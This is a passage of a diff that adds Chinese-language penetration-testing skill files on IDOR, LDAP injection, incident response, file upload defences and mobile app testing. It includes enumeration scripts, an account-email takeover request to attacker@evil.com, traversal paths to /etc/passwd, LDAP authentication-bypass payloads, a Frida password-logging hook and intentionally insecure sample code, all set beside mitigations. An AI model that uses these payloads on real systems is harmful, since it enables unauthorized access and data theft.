### 报告要点
|
||||
|
||||
- 漏洞位置和上传功能
|
||||
- 可上传的文件类型和执行方式
|
||||
- 完整的利用步骤和PoC
|
||||
- 修复建议(文件类型验证、内容检查、安全存储等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **文件类型白名单**
|
||||
```python
|
||||
ALLOWED_EXTENSIONS = {'jpg', 'png', 'gif'}
|
||||
ext = filename.rsplit('.', 1)[1].lower()
|
||||
if ext not in ALLOWED_EXTENSIONS:
|
||||
raise ValueError("File type not allowed")
|
||||
```
|
||||
|
||||
2. **文件内容验证**
|
||||
```python
|
||||
import magic
|
||||
file_type = magic.from_buffer(file_content, mime=True)
|
||||
if not file_type.startswith('image/'):
|
||||
raise ValueError("Invalid file content")
|
||||
```
|
||||
|
||||
3. **重命名文件**
|
||||
```python
|
||||
import uuid
|
||||
filename = str(uuid.uuid4()) + '.' + ext
|
||||
```
|
||||
|
||||
4. **隔离存储**
|
||||
- 文件存储在Web根目录外
|
||||
- 通过脚本代理访问
|
||||
- 禁用执行权限
|
||||
|
||||
5. **文件扫描**
|
||||
- 使用杀毒软件扫描
|
||||
- 检查文件内容
|
||||
- 移除可执行权限
|
||||
|
||||
6. **大小限制**
|
||||
```python
|
||||
MAX_SIZE = 5 * 1024 * 1024 # 5MB
|
||||
if file.size > MAX_SIZE:
|
||||
raise ValueError("File too large")
|
||||
```
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 避免上传恶意文件到生产环境
|
||||
- 测试后及时清理
|
||||
- 注意不同服务器的解析差异
|
||||
@@ -0,0 +1,319 @@
|
||||
---
|
||||
name: idor-testing
|
||||
description: IDOR不安全的直接对象引用测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# IDOR不安全的直接对象引用测试
|
||||
|
||||
## 概述
|
||||
|
||||
IDOR(Insecure Direct Object Reference)是一种访问控制漏洞,当应用程序直接使用用户提供的输入来访问资源,而未验证用户是否有权限访问该资源时发生。本技能提供IDOR漏洞的检测、利用和防护方法。
|
||||
|
||||
## 漏洞原理
|
||||
|
||||
应用程序使用可预测的标识符(如ID、文件名)直接引用资源,未验证当前用户是否有权限访问该资源。
|
||||
|
||||
**危险代码示例:**
|
||||
```php
|
||||
// 直接使用用户输入的ID
|
||||
$file = file_get_contents('/files/' . $_GET['id'] . '.pdf');
|
||||
```
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 识别直接对象引用
|
||||
|
||||
**常见资源类型:**
|
||||
- 用户ID
|
||||
- 文件ID/文件名
|
||||
- 订单ID
|
||||
- 文档ID
|
||||
- 账户ID
|
||||
- 记录ID
|
||||
|
||||
**常见位置:**
|
||||
- URL参数
|
||||
- POST数据
|
||||
- Cookie值
|
||||
- HTTP头
|
||||
- 文件路径
|
||||
|
||||
### 2. 枚举测试
|
||||
|
||||
**顺序ID测试:**
|
||||
```
|
||||
/user?id=1
|
||||
/user?id=2
|
||||
/user?id=3
|
||||
```
|
||||
|
||||
**UUID测试:**
|
||||
```
|
||||
/user?id=550e8400-e29b-41d4-a716-446655440000
|
||||
/user?id=550e8400-e29b-41d4-a716-446655440001
|
||||
```
|
||||
|
||||
**文件名测试:**
|
||||
```
|
||||
/files/document1.pdf
|
||||
/files/document2.pdf
|
||||
/files/invoice_2024_001.pdf
|
||||
```
|
||||
|
||||
### 3. 水平权限测试
|
||||
|
||||
**访问其他用户资源:**
|
||||
```
|
||||
当前用户ID: 100
|
||||
测试: /user?id=101
|
||||
测试: /user?id=102
|
||||
```
|
||||
|
||||
**访问其他用户文件:**
|
||||
```
|
||||
/files/user100_document.pdf
|
||||
测试: /files/user101_document.pdf
|
||||
```
|
||||
|
||||
### 4. 垂直权限测试
|
||||
|
||||
**普通用户访问管理员资源:**
|
||||
```
|
||||
/admin/users?id=1
|
||||
/admin/settings
|
||||
/admin/logs
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### 用户信息泄露
|
||||
|
||||
**枚举用户资料:**
|
||||
```bash
|
||||
# 顺序枚举
|
||||
for i in {1..1000}; do
|
||||
curl "https://target.com/user?id=$i"
|
||||
done
|
||||
|
||||
# 观察响应差异
|
||||
```
|
||||
|
||||
### 文件访问
|
||||
|
||||
**访问其他用户文件:**
|
||||
```
|
||||
/files/invoice_12345.pdf
|
||||
/files/report_67890.pdf
|
||||
/files/contract_11111.pdf
|
||||
```
|
||||
|
||||
**目录遍历结合:**
|
||||
```
|
||||
/files/../admin/config.php
|
||||
/files/../../etc/passwd
|
||||
```
|
||||
|
||||
### 数据修改
|
||||
|
||||
**修改其他用户数据:**
|
||||
```http
|
||||
POST /api/user/update
|
||||
Content-Type: application/json
|
||||
|
||||
{
|
||||
"id": 101,
|
||||
"email": "attacker@evil.com"
|
||||
}
|
||||
```
|
||||
|
||||
### 批量操作
|
||||
|
||||
**批量获取数据:**
|
||||
```python
|
||||
import requests
|
||||
|
||||
for user_id in range(1, 1000):
|
||||
response = requests.get(f'https://target.com/api/user/{user_id}')
|
||||
if response.status_code == 200:
|
||||
print(f"User {user_id}: {response.json()}")
|
||||
```
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### ID混淆
|
||||
|
||||
**Base64编码:**
|
||||
```
|
||||
原始ID: 123
|
||||
编码: MTIz
|
||||
URL: /user?id=MTIz
|
||||
```
|
||||
|
||||
**哈希值:**
|
||||
```
|
||||
原始ID: 123
|
||||
哈希: 202cb962ac59075b964b07152d234b70
|
||||
URL: /user?id=202cb962ac59075b964b07152d234b70
|
||||
```
|
||||
|
||||
### 参数名混淆
|
||||
|
||||
**使用不同参数名:**
|
||||
```
|
||||
/user?id=123
|
||||
/user?uid=123
|
||||
/user?user_id=123
|
||||
/user?account=123
|
||||
```
|
||||
|
||||
### HTTP方法绕过
|
||||
|
||||
**尝试不同HTTP方法:**
|
||||
```
|
||||
GET /user/123
|
||||
POST /user/123
|
||||
PUT /user/123
|
||||
PATCH /user/123
|
||||
```
|
||||
|
||||
### 路径混淆
|
||||
|
||||
**尝试不同路径:**
|
||||
```
|
||||
/api/v1/user/123
|
||||
/api/user/123
|
||||
/user/123
|
||||
/users/123
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### Burp Suite
|
||||
|
||||
**使用Intruder:**
|
||||
1. 拦截请求
|
||||
2. 发送到Intruder
|
||||
3. 标记ID参数
|
||||
4. 使用数字序列或自定义列表
|
||||
5. 观察响应差异
|
||||
|
||||
**使用Repeater:**
|
||||
1. 手动修改ID
|
||||
2. 测试不同值
|
||||
3. 观察响应
|
||||
|
||||
### OWASP ZAP
|
||||
|
||||
```bash
|
||||
# 使用ZAP进行IDOR扫描
|
||||
zap-cli active-scan --scanners all http://target.com
|
||||
```
|
||||
|
||||
### Python脚本
|
||||
|
||||
```python
|
||||
import requests
|
||||
import json
|
||||
|
||||
def test_idor(base_url, user_id_range):
|
||||
for user_id in user_id_range:
|
||||
url = f"{base_url}/user?id={user_id}"
|
||||
response = requests.get(url)
|
||||
|
||||
if response.status_code == 200:
|
||||
data = response.json()
|
||||
print(f"User {user_id}: {data.get('email', 'N/A')}")
|
||||
|
||||
test_idor("https://target.com", range(1, 100))
|
||||
```
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认可以访问未授权的资源
|
||||
2. 验证可以读取、修改或删除其他用户数据
|
||||
3. 评估影响(数据泄露、隐私侵犯等)
|
||||
4. 记录完整的POC
|
||||
|
||||
### 报告要点
|
||||
|
||||
- 漏洞位置和资源标识符
|
||||
- 可访问的未授权资源
|
||||
- 完整的利用步骤和PoC
|
||||
- 修复建议(访问控制、资源映射等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **访问控制验证**
|
||||
```python
|
||||
def get_user_data(user_id, current_user_id):
|
||||
# 验证权限
|
||||
if user_id != current_user_id:
|
||||
raise PermissionDenied("Cannot access other user's data")
|
||||
|
||||
# 返回数据
|
||||
return db.get_user(user_id)
|
||||
```
|
||||
|
||||
2. **间接对象引用**
|
||||
```python
|
||||
# 使用映射表
|
||||
user_mapping = {
|
||||
'abc123': 100,
|
||||
'def456': 101,
|
||||
'ghi789': 102
|
||||
}
|
||||
|
||||
def get_user(mapped_id):
|
||||
real_id = user_mapping.get(mapped_id)
|
||||
if not real_id:
|
||||
raise NotFound()
|
||||
return db.get_user(real_id)
|
||||
```
|
||||
|
||||
3. **基于角色的访问控制**
|
||||
```python
|
||||
def check_permission(user, resource):
|
||||
if user.role == 'admin':
|
||||
return True
|
||||
if resource.owner_id == user.id:
|
||||
return True
|
||||
return False
|
||||
```
|
||||
|
||||
4. **资源所有权验证**
|
||||
```python
|
||||
def update_user_data(user_id, data, current_user):
|
||||
user = db.get_user(user_id)
|
||||
|
||||
# 验证所有权
|
||||
if user.id != current_user.id and current_user.role != 'admin':
|
||||
raise PermissionDenied()
|
||||
|
||||
# 更新数据
|
||||
db.update_user(user_id, data)
|
||||
```
|
||||
|
||||
5. **使用不可预测的标识符**
|
||||
```python
|
||||
import uuid
|
||||
|
||||
# 使用UUID替代顺序ID
|
||||
resource_id = str(uuid.uuid4())
|
||||
```
|
||||
|
||||
6. **最小权限原则**
|
||||
- 只返回用户有权限访问的数据
|
||||
- 使用数据过滤
|
||||
- 限制可访问的资源范围
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 避免访问或修改真实用户数据
|
||||
- 注意不同资源的访问控制差异
|
||||
- 测试时注意请求频率,避免触发防护
|
||||
@@ -0,0 +1,272 @@
|
||||
---
|
||||
name: incident-response
|
||||
description: 安全事件响应的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 安全事件响应
|
||||
|
||||
## 概述
|
||||
|
||||
安全事件响应是处理安全事件的关键流程。本技能提供安全事件响应的方法、工具和最佳实践。
|
||||
|
||||
## 响应流程
|
||||
|
||||
### 1. 准备阶段
|
||||
|
||||
**准备工作:**
|
||||
- 建立响应团队
|
||||
- 制定响应计划
|
||||
- 准备工具和资源
|
||||
- 建立通信渠道
|
||||
|
||||
### 2. 识别阶段
|
||||
|
||||
**识别事件:**
|
||||
- 监控告警
|
||||
- 异常检测
|
||||
- 日志分析
|
||||
- 用户报告
|
||||
|
||||
### 3. 遏制阶段
|
||||
|
||||
**遏制措施:**
|
||||
- 隔离受影响系统
|
||||
- 禁用账户
|
||||
- 阻断网络连接
|
||||
- 备份证据
|
||||
|
||||
### 4. 清除阶段
|
||||
|
||||
**清除威胁:**
|
||||
- 移除恶意软件
|
||||
- 修复漏洞
|
||||
- 重置凭证
|
||||
- 清理后门
|
||||
|
||||
### 5. 恢复阶段
|
||||
|
||||
**恢复系统:**
|
||||
- 恢复备份
|
||||
- 验证系统完整性
|
||||
- 监控系统
|
||||
- 逐步恢复服务
|
||||
|
||||
### 6. 总结阶段
|
||||
|
||||
**总结经验:**
|
||||
- 事件报告
|
||||
- 经验教训
|
||||
- 改进措施
|
||||
- 更新流程
|
||||
|
||||
## 工具使用
|
||||
|
||||
### 日志分析
|
||||
|
||||
**使用Splunk:**
|
||||
```bash
|
||||
# 搜索日志
|
||||
index=security event_type="failed_login"
|
||||
|
||||
# 统计分析
|
||||
index=security | stats count by src_ip
|
||||
|
||||
# 时间序列分析
|
||||
index=security | timechart count by event_type
|
||||
```
|
||||
|
||||
**使用ELK:**
|
||||
```bash
|
||||
# Elasticsearch查询
|
||||
GET /logs/_search
|
||||
{
|
||||
"query": {
|
||||
"match": {
|
||||
"event_type": "malware"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 取证工具
|
||||
|
||||
**使用Volatility:**
|
||||
```bash
|
||||
# 分析内存镜像
|
||||
volatility -f memory.dump imageinfo
|
||||
|
||||
# 列出进程
|
||||
volatility -f memory.dump --profile=Win7SP1x64 pslist
|
||||
|
||||
# 提取进程内存
|
||||
volatility -f memory.dump --profile=Win7SP1x64 memdump -p 1234 -D output/
|
||||
```
|
||||
|
||||
**使用Autopsy:**
|
||||
```bash
|
||||
# 启动Autopsy
|
||||
# 创建案例
|
||||
# 添加证据
|
||||
# 分析数据
|
||||
```
|
||||
|
||||
### 网络分析
|
||||
|
||||
**使用Wireshark:**
|
||||
```bash
|
||||
# 捕获流量
|
||||
wireshark -i eth0
|
||||
|
||||
# 分析PCAP文件
|
||||
wireshark -r capture.pcap
|
||||
|
||||
# 过滤流量
|
||||
# 显示过滤器: ip.addr == 192.168.1.100
|
||||
# 捕获过滤器: host 192.168.1.100
|
||||
```
|
||||
|
||||
**使用tcpdump:**
|
||||
```bash
|
||||
# 捕获流量
|
||||
tcpdump -i eth0 -w capture.pcap
|
||||
|
||||
# 分析流量
|
||||
tcpdump -r capture.pcap -A
|
||||
```
|
||||
|
||||
## 事件类型
|
||||
|
||||
### 恶意软件
|
||||
|
||||
**响应步骤:**
|
||||
1. 隔离受影响系统
|
||||
2. 收集样本
|
||||
3. 分析恶意软件
|
||||
4. 清除威胁
|
||||
5. 修复漏洞
|
||||
|
||||
**工具:**
|
||||
- VirusTotal
|
||||
- Cuckoo Sandbox
|
||||
- YARA规则
|
||||
|
||||
### 数据泄露
|
||||
|
||||
**响应步骤:**
|
||||
1. 确认泄露范围
|
||||
2. 遏制泄露
|
||||
3. 评估影响
|
||||
4. 通知相关方
|
||||
5. 修复漏洞
|
||||
|
||||
**检查项目:**
|
||||
- 泄露数据量
|
||||
- 受影响用户
|
||||
- 泄露渠道
|
||||
- 数据敏感性
|
||||
|
||||
### 拒绝服务
|
||||
|
||||
**响应步骤:**
|
||||
1. 确认攻击类型
|
||||
2. 启用防护措施
|
||||
3. 过滤恶意流量
|
||||
4. 监控系统状态
|
||||
5. 恢复正常服务
|
||||
|
||||
**防护措施:**
|
||||
- DDoS防护服务
|
||||
- 流量清洗
|
||||
- 限流措施
|
||||
- CDN防护
|
||||
|
||||
### 未授权访问
|
||||
|
||||
**响应步骤:**
|
||||
1. 禁用受影响账户
|
||||
2. 重置凭证
|
||||
3. 检查访问日志
|
||||
4. 评估数据访问
|
||||
5. 修复漏洞
|
||||
|
||||
**检查项目:**
|
||||
- 访问时间
|
||||
- 访问内容
|
||||
- 访问来源
|
||||
- 数据修改
|
||||
|
||||
## 响应清单
|
||||
|
||||
### 准备阶段
|
||||
- [ ] 建立响应团队
|
||||
- [ ] 制定响应计划
|
||||
- [ ] 准备工具
|
||||
- [ ] 建立通信渠道
|
||||
|
||||
### 识别阶段
|
||||
- [ ] 确认事件
|
||||
- [ ] 收集信息
|
||||
- [ ] 评估影响
|
||||
- [ ] 记录时间线
|
||||
|
||||
### 遏制阶段
|
||||
- [ ] 隔离系统
|
||||
- [ ] 禁用账户
|
||||
- [ ] 阻断连接
|
||||
- [ ] 备份证据
|
||||
|
||||
### 清除阶段
|
||||
- [ ] 移除威胁
|
||||
- [ ] 修复漏洞
|
||||
- [ ] 重置凭证
|
||||
- [ ] 验证清除
|
||||
|
||||
### 恢复阶段
|
||||
- [ ] 恢复系统
|
||||
- [ ] 验证完整性
|
||||
- [ ] 监控系统
|
||||
- [ ] 恢复服务
|
||||
|
||||
### 总结阶段
|
||||
- [ ] 编写报告
|
||||
- [ ] 总结经验
|
||||
- [ ] 改进措施
|
||||
- [ ] 更新流程
|
||||
|
||||
## 最佳实践
|
||||
|
||||
### 1. 准备
|
||||
|
||||
- 建立响应团队
|
||||
- 制定响应计划
|
||||
- 定期演练
|
||||
- 准备工具
|
||||
|
||||
### 2. 响应
|
||||
|
||||
- 快速响应
|
||||
- 系统化处理
|
||||
- 记录所有操作
|
||||
- 保护证据
|
||||
|
||||
### 3. 沟通
|
||||
|
||||
- 内部沟通
|
||||
- 外部通知
|
||||
- 状态更新
|
||||
- 事后报告
|
||||
|
||||
### 4. 改进
|
||||
|
||||
- 事件分析
|
||||
- 流程改进
|
||||
- 工具更新
|
||||
- 培训提升
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 快速响应
|
||||
- 保护证据
|
||||
- 记录操作
|
||||
- 遵守法律法规
|
||||
@@ -0,0 +1,300 @@
|
||||
---
|
||||
name: ldap-injection-testing
|
||||
description: LDAP注入漏洞测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# LDAP注入漏洞测试
|
||||
|
||||
## 概述
|
||||
|
||||
LDAP注入是一种类似于SQL注入的漏洞,利用LDAP查询语句的构造缺陷,可能导致信息泄露、权限绕过等。本技能提供LDAP注入的检测、利用和防护方法。
|
||||
|
||||
## 漏洞原理
|
||||
|
||||
应用程序将用户输入直接拼接到LDAP查询语句中,未进行充分验证和过滤,导致攻击者可以修改查询逻辑。
|
||||
|
||||
**危险代码示例:**
|
||||
```java
|
||||
String filter = "(&(cn=" + userInput + ")(userPassword=" + password + "))";
|
||||
ldapContext.search(baseDN, filter, ...);
|
||||
```
|
||||
|
||||
## LDAP基础
|
||||
|
||||
### 查询语法
|
||||
|
||||
**基础查询:**
|
||||
```
|
||||
(cn=John)
|
||||
(objectClass=person)
|
||||
(&(cn=John)(mail=john@example.com))
|
||||
(|(cn=John)(cn=Jane))
|
||||
(!(cn=John))
|
||||
```
|
||||
|
||||
### 特殊字符
|
||||
|
||||
**需要转义的字符:**
|
||||
- `(` `)` - 括号
|
||||
- `*` - 通配符
|
||||
- `\` - 转义符
|
||||
- `/` - 路径分隔符
|
||||
- `NUL` - 空字符
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 识别LDAP输入点
|
||||
|
||||
**常见功能:**
|
||||
- 用户登录
|
||||
- 用户搜索
|
||||
- 目录浏览
|
||||
- 权限验证
|
||||
|
||||
### 2. 基础检测
|
||||
|
||||
**测试特殊字符:**
|
||||
```
|
||||
*)(&
|
||||
*)(|
|
||||
*))(
|
||||
*))%00
|
||||
```
|
||||
|
||||
**测试逻辑操作符:**
|
||||
```
|
||||
*)(&(cn=*
|
||||
*)(|(cn=*
|
||||
*))(!(cn=*
|
||||
```
|
||||
|
||||
### 3. 认证绕过
|
||||
|
||||
**基础绕过:**
|
||||
```
|
||||
用户名: *)(&
|
||||
密码: *
|
||||
查询: (&(cn=*)(&)(userPassword=*))
|
||||
```
|
||||
|
||||
**更精确的绕过:**
|
||||
```
|
||||
用户名: admin)(&(cn=admin
|
||||
密码: *))
|
||||
查询: (&(cn=admin)(&(cn=admin)(userPassword=*)))
|
||||
```
|
||||
|
||||
### 4. 信息泄露
|
||||
|
||||
**枚举用户:**
|
||||
```
|
||||
*)(cn=*
|
||||
*)(uid=*
|
||||
*)(mail=*
|
||||
```
|
||||
|
||||
**获取属性:**
|
||||
```
|
||||
*)(|(cn=*)(userPassword=*
|
||||
*)(|(objectClass=*)(cn=*
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### 认证绕过
|
||||
|
||||
**方法1:逻辑绕过**
|
||||
```
|
||||
输入: *)(&
|
||||
查询: (&(cn=*)(&)(userPassword=*))
|
||||
结果: 匹配所有用户
|
||||
```
|
||||
|
||||
**方法2:注释绕过**
|
||||
```
|
||||
输入: admin)(&(cn=admin
|
||||
查询: (&(cn=admin)(&(cn=admin)(userPassword=*)))
|
||||
```
|
||||
|
||||
**方法3:通配符**
|
||||
```
|
||||
输入: *)(|(cn=*)(userPassword=*
|
||||
查询: (&(cn=*)(|(cn=*)(userPassword=*)(userPassword=*))
|
||||
```
|
||||
|
||||
### 信息泄露
|
||||
|
||||
**枚举所有用户:**
|
||||
```
|
||||
搜索: *)(cn=*
|
||||
结果: 返回所有cn属性
|
||||
```
|
||||
|
||||
**获取密码哈希:**
|
||||
```
|
||||
搜索: *)(|(cn=*)(userPassword=*
|
||||
结果: 返回用户和密码哈希
|
||||
```
|
||||
|
||||
**获取敏感属性:**
|
||||
```
|
||||
搜索: *)(|(cn=*)(mail=*)(telephoneNumber=*
|
||||
结果: 返回多个敏感属性
|
||||
```
|
||||
|
||||
### 权限提升
|
||||
|
||||
**修改查询逻辑:**
|
||||
```
|
||||
原始: (&(cn=user)(memberOf=CN=Users,DC=example,DC=com))
|
||||
注入: user)(memberOf=CN=Admins,DC=example,DC=com))(|(cn=user
|
||||
结果: 可能绕过权限检查
|
||||
```
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### 编码绕过
|
||||
|
||||
**URL编码:**
|
||||
```
|
||||
*)(& → %2A%29%28%26
|
||||
*)(| → %2A%29%28%7C
|
||||
```
|
||||
|
||||
**Unicode编码:**
|
||||
```
|
||||
* → \u002A
|
||||
( → \u0028
|
||||
) → \u0029
|
||||
```
|
||||
|
||||
### 注释绕过
|
||||
|
||||
**使用注释:**
|
||||
```
|
||||
*)(&(cn=*
|
||||
*)(|(cn=*
|
||||
```
|
||||
|
||||
### 空字符注入
|
||||
|
||||
**使用NULL字节:**
|
||||
```
|
||||
*))%00
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### JXplorer
|
||||
|
||||
**图形化LDAP客户端:**
|
||||
- 连接LDAP服务器
|
||||
- 浏览目录结构
|
||||
- 执行查询测试
|
||||
|
||||
### ldapsearch
|
||||
|
||||
```bash
|
||||
# 基础查询
|
||||
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)"
|
||||
|
||||
# 测试注入
|
||||
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)(&"
|
||||
```
|
||||
|
||||
### Burp Suite
|
||||
|
||||
1. 拦截LDAP查询请求
|
||||
2. 修改查询参数
|
||||
3. 观察响应结果
|
||||
|
||||
### Python脚本
|
||||
|
||||
```python
|
||||
import ldap3
|
||||
|
||||
server = ldap3.Server('ldap://target.com')
|
||||
conn = ldap3.Connection(server, authentication=ldap3.SIMPLE,
|
||||
user='cn=admin,dc=example,dc=com',
|
||||
password='password')
|
||||
|
||||
# 测试注入
|
||||
filter_str = '*)(&'
|
||||
conn.search('dc=example,dc=com', filter_str)
|
||||
print(conn.entries)
|
||||
```
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认可以控制LDAP查询
|
||||
2. 验证认证绕过或信息泄露
|
||||
3. 评估影响(未授权访问、数据泄露等)
|
||||
4. 记录完整的POC
|
||||
|
||||
### 报告要点
|
||||
|
||||
- 漏洞位置和输入参数
|
||||
- LDAP查询构造方式
|
||||
- 完整的利用步骤和PoC
|
||||
- 修复建议(输入验证、参数化查询等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **输入验证**
|
||||
```java
|
||||
private static final String[] LDAP_ESCAPE_CHARS =
|
||||
{"\\", "*", "(", ")", "\0", "/"};
|
||||
|
||||
public static String escapeLDAP(String input) {
|
||||
if (input == null) {
|
||||
return null;
|
||||
}
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int i = 0; i < input.length(); i++) {
|
||||
char c = input.charAt(i);
|
||||
if (Arrays.asList(LDAP_ESCAPE_CHARS).contains(String.valueOf(c))) {
|
||||
sb.append("\\");
|
||||
}
|
||||
sb.append(c);
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
```
|
||||
|
||||
2. **参数化查询**
|
||||
```java
|
||||
// 使用LDAP API的参数化功能
|
||||
String filter = "(&(cn={0})(userPassword={1}))";
|
||||
Object[] args = {escapedCN, escapedPassword};
|
||||
// 使用API构建查询
|
||||
```
|
||||
|
||||
3. **白名单验证**
|
||||
```java
|
||||
// 只允许特定字符
|
||||
if (!input.matches("^[a-zA-Z0-9@._-]+$")) {
|
||||
throw new IllegalArgumentException("Invalid input");
|
||||
}
|
||||
```
|
||||
|
||||
4. **最小权限**
|
||||
- LDAP连接使用最小权限账户
|
||||
- 限制可查询的属性
|
||||
- 使用访问控制列表
|
||||
|
||||
5. **错误处理**
|
||||
- 不返回详细错误信息
|
||||
- 统一错误响应
|
||||
- 记录错误日志
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 注意不同LDAP服务器的语法差异
|
||||
- 测试时避免对目录造成影响
|
||||
- 了解目标LDAP服务器的配置
|
||||
@@ -0,0 +1,370 @@
|
||||
---
|
||||
name: mobile-app-security-testing
|
||||
description: 移动应用安全测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 移动应用安全测试
|
||||
|
||||
## 概述
|
||||
|
||||
移动应用安全测试是确保移动应用安全性的重要环节。本技能提供移动应用安全测试的方法、工具和最佳实践,涵盖Android和iOS平台。
|
||||
|
||||
## 测试范围
|
||||
|
||||
### 1. 应用安全
|
||||
|
||||
**检查项目:**
|
||||
- 代码混淆
|
||||
- 反编译防护
|
||||
- 调试防护
|
||||
- 证书绑定
|
||||
|
||||
### 2. 数据安全
|
||||
|
||||
**检查项目:**
|
||||
- 数据加密
|
||||
- 密钥管理
|
||||
- 敏感数据存储
|
||||
- 数据传输
|
||||
|
||||
### 3. 认证授权
|
||||
|
||||
**检查项目:**
|
||||
- 认证机制
|
||||
- Token管理
|
||||
- 生物识别
|
||||
- 会话管理
|
||||
|
||||
### 4. 通信安全
|
||||
|
||||
**检查项目:**
|
||||
- TLS/SSL配置
|
||||
- 证书验证
|
||||
- API安全
|
||||
- 中间人攻击防护
|
||||
|
||||
## Android安全测试
|
||||
|
||||
### 静态分析
|
||||
|
||||
**使用APKTool:**
|
||||
```bash
|
||||
# 反编译APK
|
||||
apktool d app.apk
|
||||
|
||||
# 查看AndroidManifest.xml
|
||||
cat app/AndroidManifest.xml
|
||||
|
||||
# 查看Smali代码
|
||||
find app/smali -name "*.smali"
|
||||
```
|
||||
|
||||
**使用Jadx:**
|
||||
```bash
|
||||
# 反编译APK
|
||||
jadx -d output app.apk
|
||||
|
||||
# 查看Java源码
|
||||
find output -name "*.java"
|
||||
```
|
||||
|
||||
**使用MobSF:**
|
||||
```bash
|
||||
# 启动MobSF
|
||||
docker run -it -p 8000:8000 opensecurity/mobsf
|
||||
|
||||
# 上传APK进行分析
|
||||
# 访问 http://localhost:8000
|
||||
```
|
||||
|
||||
### 动态分析
|
||||
|
||||
**使用Frida:**
|
||||
```javascript
|
||||
// Hook函数
|
||||
Java.perform(function() {
|
||||
var MainActivity = Java.use("com.example.MainActivity");
|
||||
MainActivity.onCreate.implementation = function(savedInstanceState) {
|
||||
console.log("[*] onCreate called");
|
||||
this.onCreate(savedInstanceState);
|
||||
};
|
||||
});
|
||||
```
|
||||
|
||||
**使用Objection:**
|
||||
```bash
|
||||
# 启动Objection
|
||||
objection -g com.example.app explore
|
||||
|
||||
# Hook函数
|
||||
android hooking watch class_method com.example.MainActivity.onCreate
|
||||
```
|
||||
|
||||
**使用Burp Suite:**
|
||||
```bash
|
||||
# 配置代理
|
||||
# Android设置代理指向Burp Suite
|
||||
# 安装Burp证书
|
||||
```
|
||||
|
||||
### 常见漏洞
|
||||
|
||||
**硬编码密钥:**
|
||||
```java
|
||||
// 不安全的代码
|
||||
String apiKey = "1234567890abcdef";
|
||||
String password = "admin123";
|
||||
```
|
||||
|
||||
**不安全的存储:**
|
||||
```java
|
||||
// SharedPreferences存储敏感数据
|
||||
SharedPreferences prefs = getSharedPreferences("data", MODE_WORLD_READABLE);
|
||||
prefs.edit().putString("password", password).apply();
|
||||
```
|
||||
|
||||
**证书验证绕过:**
|
||||
```java
|
||||
// 不验证证书
|
||||
TrustManager[] trustAllCerts = new TrustManager[] {
|
||||
new X509TrustManager() {
|
||||
public X509Certificate[] getAcceptedIssuers() { return null; }
|
||||
public void checkClientTrusted(X509Certificate[] certs, String authType) { }
|
||||
public void checkServerTrusted(X509Certificate[] certs, String authType) { }
|
||||
}
|
||||
};
|
||||
```
|
||||
|
||||
## iOS安全测试
|
||||
|
||||
### 静态分析
|
||||
|
||||
**使用class-dump:**
|
||||
```bash
|
||||
# 导出头文件
|
||||
class-dump app.ipa
|
||||
|
||||
# 查看头文件
|
||||
find app -name "*.h"
|
||||
```
|
||||
|
||||
**使用Hopper:**
|
||||
```bash
|
||||
# 使用Hopper反汇编
|
||||
# 打开app二进制文件
|
||||
# 分析汇编代码
|
||||
```
|
||||
|
||||
**使用otool:**
|
||||
```bash
|
||||
# 查看Mach-O信息
|
||||
otool -L app
|
||||
|
||||
# 查看字符串
|
||||
strings app | grep -i "password\|key\|secret"
|
||||
```
|
||||
|
||||
### 动态分析
|
||||
|
||||
**使用Frida:**
|
||||
```javascript
|
||||
// Hook Objective-C方法
|
||||
var className = ObjC.classes.ViewController;
|
||||
var method = className['- login:password:'];
|
||||
Interceptor.attach(method.implementation, {
|
||||
onEnter: function(args) {
|
||||
console.log("[*] Login called");
|
||||
console.log("Username: " + ObjC.Object(args[2]).toString());
|
||||
console.log("Password: " + ObjC.Object(args[3]).toString());
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
**使用Cycript:**
|
||||
```bash
|
||||
# 附加到进程
|
||||
cycript -p app
|
||||
|
||||
# 执行命令
|
||||
[UIApplication sharedApplication]
|
||||
```
|
||||
|
||||
### 常见漏洞
|
||||
|
||||
**硬编码密钥:**
|
||||
```objective-c
|
||||
// 不安全的代码
|
||||
NSString *apiKey = @"1234567890abcdef";
|
||||
NSString *password = @"admin123";
|
||||
```
|
||||
|
||||
**不安全的存储:**
|
||||
```objective-c
|
||||
// Keychain存储不当
|
||||
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
|
||||
[defaults setObject:password forKey:@"password"];
|
||||
```
|
||||
|
||||
**证书验证绕过:**
|
||||
```objective-c
|
||||
// 不验证证书
|
||||
- (void)connection:(NSURLConnection *)connection
|
||||
didReceiveAuthenticationChallenge:(NSURLAuthenticationChallenge *)challenge {
|
||||
